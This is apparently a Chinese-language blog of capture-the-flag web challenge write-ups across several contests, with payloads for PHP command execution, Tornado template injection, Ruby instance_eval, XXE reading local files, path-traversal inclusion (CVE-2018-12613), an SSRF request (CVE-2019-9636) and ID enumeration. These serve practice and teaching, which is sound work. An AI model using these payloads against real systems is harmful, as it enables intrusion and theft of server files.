最近零零散散在各種從各種渠道參加的賽事上寫了些水題,一直在糾結到底要不要記。不過既然都做了,感覺過程中也有不少騷操作,就稍微記一記。正好也記上這些比賽裡沒寫出來的題目的復現。


Free WIFI Part 1

附件給了個 free-wifi.pcapng,導入到 WireShark 裡略微分析,可以發現一個請求。

1
2
3
4
5
6
7
8
    [Full request URI: http://freewifi.ctf.umbccd.io/staff.html]
[HTTP request 1/1]
[Response in frame: 89]
File Data: 134 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "csrf_token" = "ImE4OGVkMWY1ZDg4YWU4MmQxMzFmODg4ZmVhMWY2MDQ0ZjUxMDA4MjAi.Xo4DYg.fnXZhEmbQPzEgFWLgEfjSTeqX2Y"
Form item: "passcode" = "5004f47a"
Form item: "submit" = "Submit"

嘗試訪問 staff.html,並根據上述請求構造一個 POST 請求,就能在頁面底端拿到 flag。

1
DawgCTF{[email protected][email protected][email protected]}

The Lady is a Smuggler

這題一開始給了個頁面,下面有一段加密,但其實解密那段得出來的 flag 是無效的。真實的 flag 在頁面的源碼中。

1
DawgCTF{ClearEdge_ElizebethSmith}

Tracking

這題頁面感覺跟前面那個一樣,首先看一手源碼。找到一段 JavaScript。

1
alert(String.fromCharCode(68,97,119,103,67,84,70,123,67,108,101,97,114, 69,100,103,101,95,117,110,105,125))

放到 Console 裡面運行就得到了 flag。

1
DawgCTF{ClearEdge_uni}

Oh JS!

JSFuck

這題開門見山地給了個登錄的 form,但其實查看頁面源代碼可以看到一段 JSFuck,把它掐頭去尾放到 Console 跑一下可以發現線索。

1
2
3
4
ƒ anonymous(
) {
if (document.forms[0].username.value == "corb3nik" && document.forms[0].password.value == "chickenachos") document.location = "4d4932602a75414640946d38ea6fefbf.php"
}

於是直接跳過登錄的步驟,訪問 .../4d4932602a75414640946d38ea6fefbf.php 得到 flag。

1
d33p{g0tta_kn0w_y0ur_J4v4Scr1pt}

Magic Word!

Regexp

這題給出了頁面的源代碼和 Try to reach get_mad_and_give_flag() 的提示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
require("flag.php");

if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}

if (isset($_GET['magic_word'])) {

$what_he_said = $_GET['magic_word'];
$what_you_dont_want_to_hear = 'd33p';
$what_you_actually_heard = preg_replace(
"/$what_you_dont_want_to_hear/", '', $what_he_said);

if ($what_you_actually_heard === $what_you_dont_want_to_hear) {
get_mad_and_give_flag();
}
}
?>

既然是 preg_replace(),之前在 SQL 注入的題目裡面遇到過,只需要夾著寫一遍就行了。於是構造 ?magic_word=d3d33p3p 得到 flag。

1
d33p{d33p_p33d}

Nothing is Impossible

這題給的是一個可以執行 php 代碼的框,於是果斷試了一手 system(),發現仍然可以使用。根據題目提示,flag 在 /tmp/flag.php。於是直接使用 od 構造了 system("od -A d -c /tmp/flag.php"),得到結果。

1
0000000 < ? p h p \n e c h o " d 3 3 p 0000016 { f 4 s t _ C G 1 _ S S R F _ p 0000032 0 w 3 r ! ! } " ; \n 0000042

整理之後得到 flag。

1
d33p{f4st_CG1_SSRF_p0w3r!!}

Did You Got Trolled?

這題我成功地被繞了進去,他給了好多動物的叫聲,我還以為是動物園。還有那個假裝可以注入的地方,也是很好笑。其實真正的要點在找到兩個 key。在學長的提示下,我在 .../css/clean-blog.css 下找到了 Key1。其實他是有給提示的,只有那一個頁面引入了同樣的兩份 CSS,且重複的那份是沒有壓縮的。

1
2
3
4
5
/* 
* What is this doing here?
* Key1 = gimme0x038792
*
*/

接下來的那一份就得掃目錄了,是在 .../robots.txt 裡面有個提示,寫著 Disallow /deep.php。訪問這個頁面可以得到一個提示。

1
2
3
MAINTENANCE
loading...
deep.php?page=debug.html

很容易知道這是一個文件包含,然後再看一手頁面源碼,可以找到 <!--Creds in /home/ubuntu/key2.txt --> 的註釋。於是構造 ?page=/home/ubuntu/key2.txt 得到 Key2。

1
key2 = flag0x085927

回到 .../post.html 提交兩個 Key,可以得到 flag。

1
D33P{h3r3_1s_y0ur_7r0ll_fl4g}

Greetings!

SSTI

根據題目提示,傳遞一個 GET 參數 ?name=you 可以得到 Hello you 的反饋。於是試了一手 {{7 * 7}} 得到了 Hello 49 的反饋,可以確定是 SSTI 的考點,然後發現了 tornado。順勢試了下 ?name={{__import__("os").popen("ls").read()}} 找到了 flag.txt。於是再構造 cat flag.txt 得到 flag。

1
d33p{I_<3_3000}

Hack MEEEE

Ruby

上來先看了一手這題源碼,找到了 <!-- This application is made using ruby! <3 --> 的提示,然後當時觸及到了知識盲區,就沒管。其實翻了一波手冊再查了一下之後發現很簡單。頁面請求傳遞了兩個 POST 參數。這裡有個坑,method 要放在前面,不然 POST 本身的換行符加上之後可能不會有正確結果返回。(報錯在頁面源碼的註釋中可以看到)

按照 Ruby 的手冊,使用 method=methodsmethod=private_methods 可以查看當前類下包含的方法。於是找到了可以利用的反引號。手冊參考 結合上 instance_eval 這個方法就能達成目的。

因此,構造 method=instance_eval&message=`ls` 的 POST 請求參數,可以得到 flag.txt 位於當前目錄下的線索,於是只需要再構造 cat flag.txt 即可得到 flag。

1
d33p{send_is_a_very_dangerous_method}

Shop

題目一開始,給了 bank 和 store 的兩個頁面,我們知道“襯衫的價格是九鎊十五便士”。啊,不是,是二十五美元。這題嘛,其實不能按照一般思路去想,一開始我在 bank 頁面試了好久都加不上錢,然後就只能去 store 頁面找。每買一件東西都會傳遞兩個 POST 參數,分別指代物品類別和錢數。所以,把錢數想辦法變成負數就可以從商店“索要”金錢了。但是還有一個點,使用已經存在的物品 ID 不可信,所以就隨便整個其他的 ID 就行。這裡還有一個坑,POST 參數最後的換行符會有影響(所以 HackBar 不行),我使用某在線的 POST 工具就成功達成目的了。最後就可以買到 flag。

1
TG20{I_just_want_to_buy_a_real_flag}

Redux

這題,說實話我其實沒太看懂。首先隨便填一填他給的表,然後提交,Console 裡就能看到一條消息 The form has been submitted! Look at the Redux store!。我一開始也想知道這個 Redux store 指的是哪裡,但是找了幾下沒找到。看到這條消息是來自 form.js 的,於是就順手點開看了看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

export const mainReducer = (state = initialState, action) => {
switch (action.type) {
case types.ADD_COLONIST_NUMBER:
console.log("Payload is" + action.payload);
return { ...state, colonist_number: action.payload };
case types.ADD_FIRST_NAME:
return { ...state, firstName: action.payload };
case types.ADD_LAST_NAME:
return { ...state, lastName: action.payload };
case types.ADD_FACTION:
return { ...state, faction: action.payload };
case types.SUBMIT_FORM:
console.log("The form has been submitted! Look at the Redux store!");
return { ...state, submitted: "TG20{always_disable_redux_dev_tools}" };
default:
return state;
}
};

於是就找到了 flag。

1
TG20{always_disable_redux_dev_tools}

Miyazaki Trivia

打開頁面有 Find this special file. 的提示,於是找到 .../robots.txt。打開之後又是新的提示 VIDEO GAME TRIVIA: What is the adage of Byrgenwerth scholars? MAKE a GET request to this page with a header named 'answer' to submit your answer.,查了一下之後得到答案,於是構造 ?answer=Fear the Old Blood 得到 flag。

1
auctf{f3ar_z_olD3_8l0oD}

Quick Maths

這題先隨便算幾個數,發現可以正常算出結果。(不太記得了,寫的時候好像算了 7 * 7 啥的,得到的都是49)於是順手構造了個 statement=system("ls") 然後發現有返回結果。於是就安排上 statement=system("cat ./index.php") 就拿到了 flag。需要注意的是,這裡的請求包需要用 Burp Suite 發送才能得到返回的結果。

1
auctf{p6p_1nj3c7i0n_iz_k:3w1}

gg no re

這題一開始給了個 authentication.js,略微分析之後可以發現是 Base64,取出關鍵信息 TWFrZSBhIEdFVCByZXF1ZXN0IHRvIC9oaWRkZW4vbmV4dHN0ZXAucGhw再解碼,得到 Make a GET request to /hidden/nextstep.php。按照提示進行,在 Header 中可以找到下一步線索,ROT13: Znxr n CBFG erdhrfg gb /ncv/svany. CuC。使用工具解密一下,得到 Make a POST request to /api/ final. PhP,接著按照提示 Send a request with the flag variable set 進行,構造 ?flag=1 即可得到 flag。

1
auctf{[email protected]_laZ_w1t_dis_0N3}

API madness

按照提示訪問 .../static/help 可以看到有三個 API。先嚐試一下 login,這裡有個坑,要用 curl 發請求才能成功 curl -X POST -H "Content-Type: application/json" -d '{"username":"lemon","password":"password"}' host/api/login,而且響應的時間很長很長,返回的數據是一個報錯的頁面,裡面包含了一個不一樣的接口 .../api/login_check。curl 訪問之後得到了一個為 null 的 token。看起來像是假的一樣,但是就像愛情,你不去嘗試怎麼知道結果呢?於是按照 API 接口接著往前衝,構造 curl -X POST -H "Content-Type: application/json" -d '{"dir":"/","token":"null"}' host/api/ftp/dir,返回結果中看到了 flag.txt。於是構造 curl -X POST -H "Content-Type: application/json" -d '{"file":"/flag.txt","token":"null"}' host/api/ftp/get_file 得到結果。

1
2
3
4
{
"file_data": "YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg==\n",
"status": "OK"
}

取出 YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg== 之後 Base64 解碼即得 flag。

1
auctf{[email protected][email protected]}

我有一個數據庫

這題上來就說了數據庫,但是打開頁面發現沒得入口,只有兩行字。於是嘗試找了一下特殊文件,找到了 robots.txt。文件裡給了個 phpinfo.php,但是打開之後沒找到啥利用點。但是由於自己搭環境的時候出了些問題,於是去查了一波,就事先知道了這題有個 phpmyadmin,如果真的打比賽估計找不到這個點。不過他給的 phpmyadmin 很奇怪,不需要登錄就能操作數據庫。於是就去查了一波相關的知識點,找到了 CVE-2018-12613

於是照著教程,構造 .../index.php?target=db_events.php%3f/../../../../../flag 就能夠包含到在根目錄的 flag。

1
gwctf{JUst_q_1I111l1Il11DAYS}

枯燥的抽獎

頁面給了十個隨機字母,查看網頁源代碼可以發現一個 check.php,訪問之後可以拿到隨機數生成的方法,按照 MRCTF-Ezaudit 的套路用 php_mt_seed 這個工具算一波隨機數種子,然後再用 PHP 生成後面十位就行了。這裡踩了一個坑,工具的版本很重要,我之前使用的那個在這題算不出來而且能算出來的也不會告知 PHP 的版本號。至於生成適合工具使用的參數格式嘛,我寫了一段 PHP 代碼。

1
2
3
4
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$key = str_split("oS668h2wc9");
foreach($key as $i){
echo strpos($str,$i) . " " . strpos($str,$i) . " 0 " . "61 ";

如果前面的步驟都沒有錯,算出來的隨機數種子應該是 951373997。放到給出的源碼中然後解除 10 位的限制,可以得到二十位的字符串 oS668h2wc93iAcrwCuZQ。提交到頁面上即可得到 flag。

1
flag{Y0u_wIN_abcdefghijklmnopqrstuvwxyz}

(後面的題目環境搭好了 題目好像很頂 讓我慢慢寫一波)

XXExternalXX

上來點 Show stored data 探索一波,注意到了地址欄的 ?xml=data.xml 察覺到可能是 XXE。隨便填充之後在報錯裡發現了 Trying to get property 'data' of non-object,於是根據題目描述順手構造一波。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Lemon [
<!ENTITY flag SYSTEM "file:///flag.txt">
]>
<root>
<data>&flag;</data>
</root>

這裡因為是個 GET 參數,所以得想辦法給構造的 payload 一個直鏈才能成功,達成之後可得 flag。

1
shkCTF{G3T_XX3D_f5ba4f9f9c9e0f41dd9df266b391447a}

Logs In ! Part 1

這題千萬不要被標題迷惑,訪問頁面之後可以在左下角找到 Controller 的頁面,順手訪問一波之後可以看到兩個路由,訪問其中一個 /e48e13207341b6bffb7fb1622282247b/debug 可得 flag。

1
shkCTF{0h_N0_Y0U_H4V3_4N_0P3N_SYNF0NY_D3V_M0D3_1787a60ce7970e2273f7df8d11618475}

Containment Forever

這題的兩條 flag 沒辦法打開,但是有其他記錄可以訪問。根據地址猜測應該是要自己找到這個類似於 ID 的東西。於是嘗試隨便改一波,發現報錯了且找到了 mongoose 的字樣。在大佬的指引下找到了 參考,於是開始把頁面上原來的 ID 拆開。

1
2
3
4
5
6
7
8
9
10
11
12
13
string [] items = {
"5e70da94d7b1600013655bb5",
"5e7e4f48d7b1600013655bb9",
"5e83642bd7b1600013655bba",
"5e8ee635d7b1600013655bbd"
};
for(int i = 0; i < 4; i++){
decimal[] parts = new decimal[3];
parts[0] = Convert.ToInt64(items[i].Substring(0, 8),16);
parts[1] = Convert.ToInt64(items[i].Substring(8, 10),16);
parts[2] = Convert.ToInt64(items[i].Substring(17, 7),16);
Console.WriteLine($"TimeStamp:{parts[0]}\nRandomValue:{parts[1]}\nIncrementingCounter:{parts[2]}\n");
}

然後發現隨機數是固定的,也就是說只需要時間戳和 ID。時間戳只需要從兩條記錄上找然後轉換一下,很容易得到。

1
2
2020-03-21 09:13:22  1584782002
2020-04-13 15:50:18 1586793018

至於 ID 的話只需要根據已經有的 ID 在附近枚舉一下就可以了。於是寫段代碼生成一下。

1
2
3
4
5
6
7
8
Int64[] timeStamps = {1584782002, 1586793018};
for(int j = 56974256; j < 56974275; j++){
string [] deParts = new string[3];
deParts[0] = Convert.ToString(timeStamps[1],16);
deParts[1] = Convert.ToString(926393827347, 16);
deParts[2] = Convert.ToString(j, 16);
Console.WriteLine($"{deParts[0]}{deParts[1]}{deParts[2].Substring(1,6)}");
}

將得到的幾個結果逐一嘗試可以得到包含 flag 的兩個記錄的地址。

1
2
.../item/5e75dab2d7b1600013655bb8
.../item/5e948a3ad7b1600013655bbf

將得到的 flag 拼接在一起,得到 flag。

1
shkCTF{IDOR_IS_ALS0_P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}

Aqua World

打開頁面,發現導航有個點不動的地方,審查元素訪問到 .../admin-query?flag=flag。頁面提示需要修改 netloc 為本地。在各種修改 header 之後看到了題目給的 hint:WTF this PYTHON version is deprecated!!!。於是順著線索找到了 CVE-2019-9636 並根據其中給出的例子構造(Authorization 的 header 是題目本身要求的)。

1
2
3
4
5
6
import requests
headers = {
"Authorization" : "Basic YW5vbnltb3VzOmFub255bW91cw=="
}
response = requests.get(".../admin-query\[email protected]?flag=flag",headers=headers)
print(response.text)

需要注意的是,這裡執行腳本的 Python 也需要使用有漏洞的版本,否則請求無法成功完成。(這部分還需要復現

使用特定版本發起請求後即可在響應中找到 flag。

1
shkCTF{NFKC_normalization_can_be_dangerous!_8471b9b2da83011a07efc2899819da65}